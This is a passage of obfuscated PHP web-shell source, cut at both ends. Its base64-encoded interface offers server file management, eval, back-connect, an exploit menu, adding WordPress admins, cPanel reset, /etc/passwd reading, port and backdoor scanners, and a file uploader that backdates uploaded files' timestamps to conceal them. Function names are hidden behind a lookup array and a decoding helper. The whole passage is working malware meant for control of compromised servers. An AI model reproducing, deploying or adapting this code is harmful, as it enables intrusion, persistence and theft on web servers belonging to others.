$GNJ[14]($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $filePath); $fullURL = $GNJ[14](wb('Ly8='), wb('Lw=='), $fullx); } else { $fullURL = $_SERVER[wb('SFRUUF9IT1NU')]; } return $fullURL; } function header_Everyfile($endfiles) { $blahcode = wb('PGRpdiBjbGFzcz0iaW5saW5lIj4KCQkJIDxpbnB1dCBvbmNsaWNrPSJsb2NhdGlvbi5ocmVmPSc/ZD0=') . $_GET[wb('ZA==')] . wb('JmU9') . $endfiles . wb('JyIgdHlwZT0ic3VibWl0IiBjbGFzcz0iZm9ybS1jb250cm9sIGNvbC1tZC0yIiB2YWx1ZT0iJm5ic3A7RURJVCZuYnNwOyIgLz4KCQkJIDxpbnB1dCBvbmNsaWNrPSJsb2NhdGlvbi5ocmVmPSc/ZD0=') . $_GET[wb('ZA==')] . wb('JnI9') . $endfiles . wb('JyIgdHlwZT0ic3VibWl0IiBjbGFzcz0iZm9ybS1jb250cm9sIGNvbC1tZC0yIiB2YWx1ZT0iJm5ic3A7UkVOQU1FJm5ic3A7IiAvPgoJCQkgPGlucHV0IG9uY2xpY2s9ImxvY2F0aW9uLmhyZWY9Jz9kPQ==') . $_GET[wb('ZA==')] . wb('Jng9') . $endfiles . wb('JyIgdHlwZT0ic3VibWl0IiBjbGFzcz0iZm9ybS1jb250cm9sIGNvbC1tZC0yIiB2YWx1ZT0iJm5ic3A7REVMRVRFJm5ic3A7IiAvPgoJCQkgPGlucHV0IG9uY2xpY2s9ImxvY2F0aW9uLmhyZWY9Jz9kPQ==') . $_GET[wb('ZA==')] . wb('JnQ9') . $endfiles . wb('JyIgdHlwZT0ic3VibWl0IiBjbGFzcz0iZm9ybS1jb250cm9sIGNvbC1tZC0yIiB2YWx1ZT0iJm5ic3A7R0FOVEkgVEFOR0dBTCZuYnNwOyIgLz4KCQkJIDxpbnB1dCBvbmNsaWNrPSJsb2NhdGlvbi5ocmVmPSc/ZD0=') . $_GET[wb('ZA==')] . wb('Jms9') . $endfiles . wb('JyIgdHlwZT0ic3VibWl0IiBjbGFzcz0iZm9ybS1jb250cm9sIGNvbC1tZC0yIiB2YWx1ZT0iJm5ic3A7Q0hNT0QmbmJzcDsiIC8+CgkJCSA8aW5wdXQgb25jbGljaz0ibG9jYXRpb24uaHJlZj0nP2Q9') . $_GET[wb('ZA==')] . wb('JnM9') . $endfiles . wb('JyIgdHlwZT0ic3VibWl0IiBjbGFzcz0iZm9ybS1jb250cm9sIGNvbC1tZC0yIiB2YWx1ZT0iJm5ic3A7VklFVyZuYnNwOyIgLz4KCQkJIDwvZGl2Pg=='); return $blahcode; } function OS() { global $GNJ; return $GNJ[22](strtoupper(PHP_OS), 0, 3) === wb('V0lO') ? wb('V2luZG93cw==') : wb('TGludXg='); } function ambilKata($param, $kata1, $kata2) { global $GNJ; if ($GNJ[30]($param, $kata1) === false) { return false; } if ($GNJ[30]($param, $kata2) === false) { return false; } $start = $GNJ[30]($param, $kata1) + strlen($kata1); $end = $GNJ[30]($param, $kata2, $start); $return = $GNJ[22]($param, $start, $end - $start); return $return; } if (defined(wb('TVVSVEFE'))) { function windisk() { global $GNJ; $letters = ''; $v = explode(wb('XA=='), path()); $v = $v[0]; foreach (range(wb('QQ=='), wb('Wg==')) as $letter) { $bool = $isdiskette = in_array($letter, array(wb('QQ=='))); if (!$bool) { $bool = $GNJ[8]("{$letter}\72\134"); } if ($bool) { $letters .= "\x5b\x20\x3c\x61\x20\x68\162\x65\146\75\x27\x3f\144\x69\x72\x3d{$letter}\72\134\47" . ($isdiskette ? wb('IG9uY2xpY2s9InJldHVybiBjb25maXJtKCdNYWtlIHN1cmUgdGhhdCB0aGUgZGlza2V0dGUgaXMgaW5zZXJ0ZWQgcHJvcGVybHksIG90aGVyd2lzZSBhbiBlcnJvciBtYXkgb2NjdXIuJyki') : '') . wb('Pg=='); if ($letter . wb('Og==') != $v) { $letters .= $letter; } else { $letters .= color(1, 2, $letter); } $letters .= wb('PC9hPiBd'); } } if (!empty($letters)) { print "\104\x65\x74\145\x63\164\145\x64\40\x44\x72\151\166\x65\163\x20{$letters}\74\x62\162\76"; } } $adminer = wb('aHR0cHM6Ly9naXRodWIuY29tL3ZyYW5hL2FkbWluZXIvcmVsZWFzZXMvZG93bmxvYWQvdjQuOC4xL2FkbWluZXItNC44LjEtZW4ucGhw'); echo wb('PCFET0NUWVBFIGh0bWw+PGh0bWwgZGlyPSJhdXRvIiBsYW5nPSJlbi1VUyI+PGhlYWQ+PG1ldGEgY2hhcnNldD0iVVRGLTgiPjxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0iTk9JTkRFWCwgTk9GT0xMT1csIE5PQVJDSElWRSwgTk9TTklQUEVUIj48dGl0bGU+WDwvdGl0bGU+CgkJPGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSJkYXRhOmltYWdlL2pwZWc7YmFzZTY0LC85ai80QUFRU2taSlJnQUJBUUVBWUFCZ0FBRC8yd0JEQUFJQkFRSUJBUUlDQWdJQ0FnSUNBd1VEQXdNREF3WUVCQU1GQndZSEJ3Y0dCd2NJQ1FzSkNBZ0tDQWNIQ2cwS0Nnc01EQXdNQndrT0R3ME1EZ3NNREF6LzJ3QkRBUUlDQWdNREF3WURBd1lNQ0FjSURBd01EQXdNREF3TURBd01EQXdNREF3TURBd01EQXdNREF3TURBd01EQXdNREF3TURBd01EQXdNREF3TURBd01EQXovd0FBUkNBQVFBQkFEQVNJQUFoRUJBeEVCLzhRQUh3QUFBUVVCQVFFQkFRRUFBQUFBQUFBQUFBRUNBd1FGQmdjSUNRb0wvOFFBdFJBQUFnRURBd0lFQXdVRkJBUUFBQUY5QVFJREFBUVJCUkloTVVFR0UxRmhCeUp4RkRLQmthRUlJMEt4d1JWUzBmQWtNMkp5Z2drS0ZoY1lHUm9sSmljb0tTbzBOVFkzT0RrNlEwUkZSa2RJU1VwVFZGVldWMWhaV21Oa1pXWm5hR2xxYzNSMWRuZDRlWHFEaElXR2g0aUppcEtUbEpXV2w1aVptcUtqcEtXbXA2aXBxckt6dExXMnQ3aTV1c0xEeE1YR3g4akp5dExUMU5YVzE5aloydUhpNCtUbDV1Zm82ZXJ4OHZQMDlmYjMrUG42LzhRQUh3RUFBd0VCQVFFQkFRRUJBUUFBQUFBQUFBRUNBd1FGQmdjSUNRb0wvOFFBdFJFQUFnRUNCQVFEQkFjRkJBUUFBUUozQUFFQ0F4RUVCU0V4QmhKQlVRZGhjUk1pTW9FSUZFS1JvYkhCQ1NNelV2QVZZbkxSQ2hZa05PRWw4UmNZR1JvbUp5Z3BLalUyTnpnNU9rTkVSVVpIU0VsS1UxUlZWbGRZV1ZwalpHVm1aMmhwYW5OMGRYWjNlSGw2Z29PRWhZYUhpSW1La3BPVWxaYVhtSm1hb3FPa3BhYW5xS21xc3JPMHRiYTN1TG02d3NQRXhjYkh5TW5LMHRQVTFkYlgyTm5hNHVQazVlYm42T25xOHZQMDlmYjMrUG42LzlvQURBTUJBQUlSQXhFQVB3RGUwVDltcnduNDYvWVovWXZzZkR2N0Z2OEFZL2pEeFpwVnRhTDR6LzRRL3dBQWFsL3dsZDVMOFB0YmFLNzhpNTFSVGVZdWhGcWZsYWtJRmsreGZPVm44dU51ZjhlZUEvaFQ4RnYyVlAycmZBL2pqOWxMdy9KOFZwTksxTzAwUFhMdlFQaDFvMS9ZWGxqOE90RG52YnUxc29kV2FXTHk1bWsxYVNMU1V1RmdXK0RLVE1aSTE1LzRRL3RzMytrZkEvOEFaMTA5ZjJqZnNNUHd1MHJRN3Z3bGIvOEFDei9oeEQ5b3ZHK0cydW1lMDhxWFNtbTBiN05mK1JvL202dTF3cmZiOXhCbUNTTHovd0MwQiswQm92eEY4RmZHaldOWStOSGgvd0FRK0lQRU9sZUpidS92N3Z4OThNcjIvd0REbDVQOE10QmpOcGFsTklGMXFYMjY3RTJpU1M2SkphcVYwOEVqemQ3c0FmL1oiPjxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0i') . decno(wb('eDhHc3ZiU1NlSHpEdkthOGJ0TERlOGEyckxXMnVuZTJ6bnlscnFyR2Q3RFN3QT09')) . wb('Ij4KCQk8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Ii8vbWF4Y2RuLmJvb3RzdHJhcGNkbi5jb20vYm9vdHN0cmFwLzQuMC4wL2Nzcy9ib290c3RyYXAubWluLmNzcyIgaW50ZWdyaXR5PSJzaGEzODQtR241Mzg0eHFRMWFvV1hBKzA1OFJYUHhQZzZmeTRJV3ZUTmgwRTI2M1htRmNKbFNBd2lHZ0ZBVy9kQWlTNkpYbSIgY3Jvc3NvcmlnaW49ImFub255bW91cyI+PHNjcmlwdCBzcmM9Ii8vYWpheC5nb29nbGVhcGlzLmNvbS9hamF4L2xpYnMvanF1ZXJ5LzMuMy4xL2pxdWVyeS5taW4uanMiPjwvc2NyaXB0PjxzY3JpcHQgc3JjPSIvL21heGNkbi5ib290c3RyYXBjZG4uY29tL2Jvb3RzdHJhcC80LjAuMC9qcy9ib290c3RyYXAubWluLmpzIiBpbnRlZ3JpdHk9InNoYTM4NC1KWlI2U3Blamg0VTAyZDhqT3Q2dkxFSGZlL0pRR2lSUlNRUXhTZkZXcGkxTXF1VmRBeWpVYXI1Kzc2UFZDbVlsIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj48L3NjcmlwdD48c2NyaXB0IHNyYz0iLy9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvbm90aWZ5LzAuNC4yL25vdGlmeS5taW4uanMiPjwvc2NyaXB0PjxzY3JpcHQgc3JjPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9hbmltZWpzLzIuMC4yL2FuaW1lLm1pbi5qcyI+PC9zY3JpcHQ+PGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSI=') . decno(wb('eDhHc3ZiU1NlSHpEdkthOGJ0TERlOGEyckxXMnVuZTJ6bnlhdWFLN3RIdkN3S3M9')) . wb('Ij48bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Ii8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NvZGVtaXJyb3IvNi42NS43L2NvZGVtaXJyb3IubWluLmNzcyI+PGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSIvL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9jb2RlbWlycm9yLzYuNjUuNy90aGVtZS9tb25va2FpLmNzcyI+CgkJCTxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iLy9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvY29kZW1pcnJvci82LjY1LjcvdGhlbWUvZHJhY3VsYS5taW4uY3NzIj48c2NyaXB0IHNyYz0iLy9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvY29kZW1pcnJvci82LjY1LjcvY29kZW1pcnJvci5taW4uanMiPjwvc2NyaXB0PjxzY3JpcHQgc3JjPSIvL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9jb2RlbWlycm9yLzYuNjUuNy9hZGRvbi9lZGl0L21hdGNoYnJhY2tldHMubWluLmpzIj48L3NjcmlwdD48c2NyaXB0IHNyYz0iLy9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvY29kZW1pcnJvci82LjY1LjcvYWRkb24vc2VsZWN0aW9uL2FjdGl2ZS1saW5lLm1pbi5qcyI+PC9zY3JpcHQ+PC9oZWFkPjxib2R5PjxkaXYgY2xhc3M9ImNvcm9uYSI+PG5hdiBjbGFzcz0ibmF2YmFyIG5hdmJhci1leHBhbmQtbWQgbmF2YmFyLWRhcmsgYmctZGFyayIgc3R5bGU9Im1hcmdpbi10b3A6IDEwcHg7Ij4='); if (isset($_GET[wb('ZA==')])) { $d = rehex($_GET[wb('ZA==')]); $GNJ[2](rehex($_GET[wb('ZA==')])); } else { $d = $GNJ[3](); } $k = $GNJ[4](wb('LyhcXHxcLykv'), $d); echo wb('PGRpdiBjbGFzcz0iY29sbGFwc2UgbmF2YmFyLWNvbGxhcHNlIiBpZD0ibmF2YmFyTmF2Ij48dWwgY2xhc3M9Im5hdmJhci1uYXYiPiA8bGkgY2xhc3M9Im5hdi1pdGVtIGFjdGl2ZSI+PGEgY2xhc3M9Im5hdi1saW5rIGFqeCIgaHJlZj0iPyI+PGltZyBzcmM9ImRhdGE6aW1hZ2UvanBlZztiYXNlNjQsLzlqLzRBQVFTa1pKUmdBQkFRRUFZQUJnQUFELzJ3QkRBQUlCQVFJQkFRSUNBZ0lDQWdJQ0F3VURBd01EQXdZRUJBTUZCd1lIQndjR0J3Y0lDUXNKQ0FnS0NBY0hDZzBLQ2dzTURBd01Cd2tPRHcwTURnc01EQXovMndCREFRSUNBZ01EQXdZREF3WU1DQWNJREF3TURBd01EQXdNREF3TURBd01EQXdNREF3TURBd01EQXdNREF3TURBd01EQXdNREF3TURBd01EQXdNREF3TURBei93QUFSQ0FBUUFCQURBU0lBQWhFQkF4RUIvOFFBSHdBQUFRVUJBUUVCQVFFQUFBQUFBQUFBQUFFQ0F3UUZCZ2NJQ1FvTC84UUF0UkFBQWdFREF3SUVBd1VGQkFRQUFBRjlBUUlEQUFRUkJSSWhNVUVHRTFGaEJ5SnhGREtCa2FFSUkwS3h3UlZTMGZBa00ySnlnZ2tLRmhjWUdSb2xKaWNvS1NvME5UWTNPRGs2UTBSRlJrZElTVXBUVkZWV1YxaFpXbU5rWldabmFHbHFjM1IxZG5kNGVYcURoSVdHaDRpSmlwS1RsSldXbDVpWm1xS2pwS1dtcDZpcHFyS3p0TFcydDdpNXVzTER4TVhHeDhqSnl0TFQxTlhXMTlqWjJ1SGk0K1RsNXVmbzZlcng4dlAwOWZiMytQbjYvOFFBSHdFQUF3RUJBUUVCQVFFQkFRQUFBQUFBQUFFQ0F3UUZCZ2NJQ1FvTC84UUF0UkVBQWdFQ0JBUURCQWNGQkFRQUFRSjNBQUVDQXhFRUJTRXhCaEpCVVFkaGNSTWlNb0VJRkVLUm9iSEJDU016VXZBVlluTFJDaFlrTk9FbDhSY1lHUm9tSnlncEtqVTJOemc1T2tORVJVWkhTRWxLVTFSVlZsZFlXVnBqWkdWbVoyaHBhbk4wZFhaM2VIbDZnb09FaFlhSGlJbUtrcE9VbFphWG1KbWFvcU9rcGFhbnFLbXFzck8wdGJhM3VMbTZ3c1BFeGNiSHlNbkswdFBVMWRiWDJObmE0dVBrNWVibjZPbnE4dlAwOWZiMytQbjYvOW9BREFNQkFBSVJBeEVBUHdEZTBUOW1yd240Ni9ZWi9ZdnNmRHY3RnY4QVkvakR4WnBWdGFMNHovNFEvd0FBYWwvd2xkNUw4UHRiYUs3OGk1MVJUZVl1aEZxZmxha0lGayt4Zk9Wbjh1TnVmOGVlQS9oVDhGdjJWUDJyZkEvamo5bEx3L0o4VnBOSzFPMDBQWEx2UVBoMW8xL1lYbGo4T3REbnZidTFzb2RXYVdMeTVtazFhU0xTVXVGZ1crREtUTVpJMTUvNFEvdHMzK2tmQS84QVoxMDlmMmpmc01Qd3UwclE3dndsYi84QUN6L2h4RDlvdkcrRzJ1bWUwOHFYU21tMGI3TmYrUm8vbTZ1MXdyZmI5eEJtQ1NMei93QzBCKzBCb3Z4RjhGZkdqV05ZK05IaC93QVErSVBFT2xlSmJ1L3Y3dng5OE1yMi93RERsNVA4TXRCak5wYWxOSUYxcVgyNjdFMmlTUzZKSmFxVjA4RWp6ZDdzQWYvWiIgdGl0bGU9ImV0aGljYWwiIGFsdD0iZXRoaWNhbCI+PC9hPiA8L2xpPjxsaSBjbGFzcz0ibmF2LWl0ZW0gYWN0aXZlIj4gPGEgY2xhc3M9Im5hdi1saW5rIGFqeCIgaHJlZj0iP2Q9') . hex($d) . wb('Jg==') . hex(wb('aW5mbw==')) . wb('Ij5JbmZvPC9hPiA8L2xpPjxsaSBjbGFzcz0ibmF2LWl0ZW0gYWN0aXZlIj4gPGEgY2xhc3M9Im5hdi1saW5rIGFqeCIgaHJlZj0iP2Q9') . hex($d) . wb('Jg==') . hex(wb('bWFzcw==')) . wb('Ij5NYXNzWDwvYT4gPC9saT48bGkgY2xhc3M9Im5hdi1pdGVtIGFjdGl2ZSI+IDxhIGNsYXNzPSJuYXYtbGluayBhangiIGhyZWY9Ij9kPQ==') . hex($d) . wb('Jg==') . hex(wb('bmV0d29yaw==')) . wb('Ij5CYWNrQ29ubmVjdDwvYT4gPC9saT48bGkgY2xhc3M9Im5hdi1pdGVtIGFjdGl2ZSI+IDxhIGNsYXNzPSJuYXYtbGluayBhangiIGhyZWY9Ij9kPQ==') . hex($d) . wb('Jg==') . hex(wb('ZXZ2YWw=')) . wb('Ij4zdmFsPC9hPiA8L2xpPjxsaSBjbGFzcz0ibmF2LWl0ZW0gYWN0aXZlIj4gPGEgY2xhc3M9Im5hdi1saW5rIGFqeCIgaHJlZj0iP2Q9') . hex($d) . wb('Jg==') . hex(wb('Y2dp')) . wb('Ij5DR0k8L2E+IDwvbGk+PGxpIGNsYXNzPSJuYXYtaXRlbSBhY3RpdmUiPiA8YSBjbGFzcz0ibmF2LWxpbmsgYWp4IiBocmVmPSI/ZD0=') . hex($d) . wb('Jg==') . hex(wb('ZXhwbG9pdGVy')) . wb('Ij5FeHBsb2l0czwvYT4gPC9saT48bGkgY2xhc3M9Im5hdi1pdGVtIGFjdGl2ZSBkcm9wZG93biBzaG93Ij4gPGEgY2xhc3M9Im5hdi1saW5rIGRyb3Bkb3duLXRvZ2dsZSIgaHJlZj0iP2Q9') . hex($d) . wb('Jg==') . hex(wb('YXV0b190b29scw==')) . wb('IiBpZD0iZHJvcGRvd25NZW51TGluayIgZGF0YS10b2dnbGU9ImRyb3Bkb3duIiBhcmlhLWhhc3BvcHVwPSJ0cnVlIiBhcmlhLWV4cGFuZGVkPSJ0cnVlIj4gVG9vbHMgPC9hPiA8ZGl2IGNsYXNzPSJkcm9wZG93bi1tZW51IiBhcmlhLWxhYmVsbGVkYnk9ImRyb3Bkb3duTWVudUxpbmsiPiA8YSBjbGFzcz0iZHJvcGRvd24taXRlbSIgaHJlZj0iP2Q9') . hex($d) . wb('Jg==') . hex(wb('YXV0b190b29scw==')) . wb('Ij4jIyMgQWxsIFRvb2xzICMjIzwvYT48ZGl2IGNsYXNzPSJkcm9wZG93bi1kaXZpZGVyIj48L2Rpdj48YSBjbGFzcz0iZHJvcGRvd24taXRlbSIgaHJlZj0iP2Q9') . hex($d) . wb('Jg==') . hex(wb('YWRkdXNlcndw')) . wb('Ij5BZGQgQWRtaW4gV1A8L2E+IDxhIGNsYXNzPSJkcm9wZG93bi1pdGVtIiBocmVmPSI/ZD0=') . hex($d) . wb('Jg==') . hex(wb('Y3BhbmVsLXJlc2V0')) . wb('Ij5DcGFuZWwgUmVzZXQ8L2E+IDxhIGNsYXNzPSJkcm9wZG93bi1pdGVtIiBocmVmPSI/ZD0=') . hex($d) . wb('Jg==') . hex(wb('c3ltbGluaw==')) . wb('Ij5TeW1saW5rPC9hPiA8YSBjbGFzcz0iZHJvcGRvd24taXRlbSIgaHJlZj0iP2Q9') . hex($d) . wb('Jg==') . hex(wb('Y29uZmln')) . wb('Ij4vZXRjL3Bhc3N3ZDwvYT4gPGEgY2xhc3M9ImRyb3Bkb3duLWl0ZW0iIGhyZWY9Ij9kPQ==') . hex($d) . wb('Jg==') . hex(wb('aW5qZWN0YmRzcWw=')) . wb('Ij5IaWRkZW4gQkQ8L2E+IDxhIGNsYXNzPSJkcm9wZG93bi1pdGVtIiBocmVmPT9kPQ==') . hex($d) . wb('Jg==') . hex(wb('emlwLW1lbnU=')) . wb('PiBaaXAgTWVudTwvYT4gPC9kaXY+PC9saT48bGkgY2xhc3M9Im5hdi1pdGVtIGFjdGl2ZSI+IDxhIGNsYXNzPSJuYXYtbGluayBhangiIGhyZWY9Ij9kPQ==') . hex($d) . wb('Jg==') . hex(wb('cHJvY2Vzc3g=')) . wb('Ij5Qcm9jY2VzczwvYT4gPC9saT48bGkgY2xhc3M9Im5hdi1pdGVtIGFjdGl2ZSBkcm9wZG93biBzaG93Ij4gPGEgY2xhc3M9Im5hdi1saW5rIGRyb3Bkb3duLXRvZ2dsZSIgaHJlZj0iP2Q9') . hex($d) . wb('Jg==') . hex(wb('c2Nhbm5lcg==')) . wb('IiBpZD0iZHJvcGRvd25NZW51TGluayIgZGF0YS10b2dnbGU9ImRyb3Bkb3duIiBhcmlhLWhhc3BvcHVwPSJ0cnVlIiBhcmlhLWV4cGFuZGVkPSJ0cnVlIj4gU2Nhbm5lcnMgPC9hPiA8ZGl2IGNsYXNzPSJkcm9wZG93bi1tZW51IiBhcmlhLWxhYmVsbGVkYnk9ImRyb3Bkb3duTWVudUxpbmsiPiA8YSBjbGFzcz0iZHJvcGRvd24taXRlbSIgaHJlZj0iP2Q9') . hex($d) . wb('Jg==') . hex(wb('c2Nhbm5lcg==')) . wb('Ij5BbGwgU2Nhbm5lcjwvYT48ZGl2IGNsYXNzPSJkcm9wZG93bi1kaXZpZGVyIj48L2Rpdj48YSBjbGFzcz0iZHJvcGRvd24taXRlbSIgaHJlZj0iP2Q9') . hex($d) . wb('Jg==') . hex(wb('cG9ydC1zY2FubmVy')) . wb('Ij5Qb3J0IFNjYW5uZXI8L2E+IDxhIGNsYXNzPSJkcm9wZG93bi1pdGVtIiBocmVmPSI/ZD0=') . hex($d) . wb('Jg==') . hex(wb('c2Nhbnox')) . wb('Ij5CYWNrZG9vciBTY2FubmVyIDE8L2E+IDxhIGNsYXNzPSJkcm9wZG93bi1pdGVtIiBocmVmPSI/ZD0=') . hex($d) . wb('Jg==') . hex(wb('c2Nhbnoy')) . wb('Ij5CYWNrZG9vciBTY2FubmVyIDI8L2E+IDxhIGNsYXNzPSJkcm9wZG93bi1pdGVtIiBocmVmPSI/ZD0=') . hex($d) . wb('Jg==') . hex(wb('c2Nhbnoz')) . wb('Ij5CYWNrZG9vciBTY2FubmVyIDM8L2E+IDwvZGl2PjwvbGk+PGEgY2xhc3M9Im5hdi1saW5rIGFqeCBhY3RpdmUiIGhyZWY9Ij9kPQ==') . hex($d) . wb('Jg==') . hex(wb('dGVtdWthbkZpbGVz')) . wb('Ij5TZWFyY2g8L2E+IDwvbGk+PGxpIGNsYXNzPSJuYXYtaXRlbSBhY3RpdmUiPiA8YSBjbGFzcz0ibmF2LWxpbmsgYWp4IiBocmVmPSI/ZD0=') . hex($d) . wb('Jg==') . hex(wb('bG9nb3V0')) . wb('Ij5Mb2dvdXQ8L2E+IDwvbGk+PC9saT48L3VsPjwvZGl2PjxkaXYgY2xhc3M9InkgeCI+PGEgaHJlZj0iPyIgY2xhc3M9ImFqeCI+PGgyIGNsYXNzPSJtbDIgbGV0dGVyIj4=') . X . wb('PC9oMj48L2E+PC9kaXY+PHN1cD4=') . MURTAD . wb('PC9zdXA+PGJ1dHRvbiBjbGFzcz0ibmF2YmFyLXRvZ2dsZXIiIHR5cGU9ImJ1dHRvbiIgZGF0YS10b2dnbGU9ImNvbGxhcHNlIiBkYXRhLXRhcmdldD0iI25hdmJhck5hdiIgYXJpYS1jb250cm9scz0ibmF2YmFyTmF2IiBhcmlhLWV4cGFuZGVkPSJmYWxzZSIgYXJpYS1sYWJlbD0iVG9nZ2xlIG5hdmlnYXRpb24iPjxzcGFuIGNsYXNzPSJuYXZiYXItdG9nZ2xlci1pY29uIj48L3NwYW4+PC9idXR0b24+PC9uYXY+PGRpdiBjbGFzcz0idSI+PGZvcm0gbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj48bGFiZWwgY2xhc3M9ImwgdyI+PGJyPjxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJuW10iIG9uY2hhbmdlPSJ0aGlzLmZvcm0uc3VibWl0KCkiIG11bHRpcGxlIGNsYXNzPSJmb3JtLWNvbnRyb2wgbXItMyI+PC9sYWJlbD4mbmJzcDs8L2Zvcm0+PC9zdHlsZT4='); $console = wb('aGVhZGVyX2JhY2t1cC5waHA='); $scanps = wb('Zm9vdGVyX2JhY2t1cC5waHA='); if ($GNJ[26]($console) || $GNJ[26]($scanps)) { echo wb('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPmZ1bmN0aW9uIHNob3dfcG9wdXAoKXtkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgicG9wdXAiKS5zdHlsZS5kaXNwbGF5PSJibG9jayJ9d2luZG93Lm9ubG9hZD1zaG93X3BvcHVwOzwvc2NyaXB0PjxzdHlsZT4jcG9wdXB7cG9zaXRpb246YWJzb2x1dGU7ZGlzcGxheTpub25lO3RvcDoyMHB4O2xlZnQ6NTAlO3dpZHRoOjUwMHB4O21hcmdpbi1sZWZ0Oi0yNTBweDtib3JkZXI6MXB4IHNvbGlkICNjY2NjO3BhZGRpbmc6MjBweDtiYWNrZ3JvdW5kLWNvbG9yOiMwMDA7ZGlzcGxheTpibG9jazt6LWluZGV4OiA5OTk5O308L3N0eWxlPjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij5mdW5jdGlvbiBzaG93X3BvcHVwKCl7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInBvcHVwIikuc3R5bGUuZGlzcGxheT0iYmxvY2sifXdpbmRvdy5vbmxvYWQ9c2hvd19wb3B1cDs8L3NjcmlwdD48ZGl2IGlkPSJwb3B1cCI+PGgyIHN0eWxlPSJjb2xvcjpsaW1lO3RleHQtYWxpZ246Y2VudGVyOyI+UGFrYWkgYXRhdSBIYXB1cyE8L2gyPg=='); } if ($GNJ[26]($console)) { echo wb('PGJyPjxjZW50ZXI+PGEgY2xhc3M9ImJ0biBidG4taW5mbyBidG4tc20iIGhyZWY9ImhlYWRlcl9iYWNrdXAucGhwIiB0YXJnZXQ9Il9ibGFuayI+Q2xpY2sgQ29uc29sZTwvYT4g'); echo wb('IDxhIGNsYXNzPSJidG4gYnRuLWRhbmdlciBidG4tc20gYWp4IiBocmVmPSI/ZD0=') . hex($d) . wb('Jg==') . hex(wb('Y29uc29sZW9mZg==')) . wb('Ij5IYXB1cyBDb25zb2xlPC9hPjwvY2VudGVyPiA='); } if ($GNJ[26]($scanps)) { echo wb('PGJyPjxjZW50ZXI+PGEgY2xhc3MgPSAnYnRuIGJ0bi1pbmZvIGJ0bi1zbSBhangnIGhyZWYgPSAnP2Q9') . hex($d) . wb('Jg==') . hex(wb('c2Nhbnox')) . wb('Jz5CYWNrZG9vciBTY2FubmVyPC9hPg=='); echo wb('IDxhIGNsYXNzPSJidG4gYnRuLWRhbmdlciBidG4tc20gYWp4IiBocmVmPSI/ZD0=') . hex($d) . wb('Jg==') . hex(wb('c2Nhbm9mZg==')) . wb('Ij5IYXB1cyBCYWNrZG9vciBTY2FubmVyPC9hPjwvY2VudGVyPg=='); } if ($GNJ[26]($console) || $GNJ[26]($scanps)) { echo wb('PC9kaXY+'); } $o_ = array(wb('PHNjcmlwdD4kLm5vdGlmeSgi'), wb('IiwgeyBjbGFzc05hbWU6IjEiLGF1dG9IaWRlRGVsYXk6IDIwMDAscG9zaXRpb246ImxlZnQgYm90dG9tIiB9KTs8L3NjcmlwdD4=')); $f = $o_[0] . wb('4pyFICBTdWNjZXNzIQ==') . $o_[1]; $g = $o_[0] . wb('4p2MIEZhaWxlZCE=') . $o_[1]; if (isset($_FILES[wb('bg==')])) { $z = $_FILES[wb('bg==')][wb('bmFtZQ==')]; $r = count($z); for ($i = 0; $i < $r; $i++) { if ($GNJ[5]($_FILES[wb('bg==')][wb('dG1wX25hbWU=')][$i], $z[$i])) { echo $f; @$GNJ[25]($z[$i], $GNJ[33](wb('LQ==') . rand(30, 150) . wb('IGRheXM='), time())); } else { echo $g; } } } echo wb('PC9kaXY+PGRpdiBjbGFzcz0iY29yb25hIG1oLTEwMCI+'); echo wb('PGJyPjxhIGhyZWY9Jz8nPkN1cnJlbnQgRGlyZWN0b3J5PC9hPiA6IA=='); foreach ($k as $m => $l) { if ($l == '' && $m == 0) { echo wb('PGEgY2xhc3M9ImFqeCIgaHJlZj0iP2Q9MmYiPi88L2E+'); } if ($l == '') { continue; } echo wb('PGEgY2xhc3M9ImFqeCIgaHJlZj0iP2Q9'); for ($i = 0; $i <= $m; $i++) { echo hex($k[$i]); if ($i != $m) { echo wb('MmY='); } } echo wb('Ij4=') . $l . wb('PC9hPi8='); } $dnya = "{$d}\x2f"; $dbener = $GNJ[14](wb('Ly8='), wb('Lw=='), $dnya); print "\40\46\162\141\161\165\157\x3b\40\x3c\143\x6f\x64\x65\76{$dbener}\74\57\143\157\144\145\x3e"; echo wb('IFs8YSBocmVmPSIvLw==') . fullURL($d) . wb('IiB0YXJnZXQ9Il9ibGFuayI+JiN4MjM0Njs8L2E+XQ=='); print wb('PGJyPg=='); if (!$s_win) { echo wb('PGZvcm0gbWV0aG9kPSJwb3N0Ij48YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0biBidG4tc2Vjb25kYXJ5IGJ0bi1zbSI+R08gVE88L2J1dHRvbj48aW5wdXQgaWQ9ImNvcHktdGV4dCIgc3R5bGU9ImJvcmRlcjogbm9uZTsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICMwMGZmMDA7IiB0eXBlPSJ0ZXh0IiBzaXplPSIzMCIgaGVpZ2h0PSIxMCIgdmFsdWU9Ig==') . $dbener . 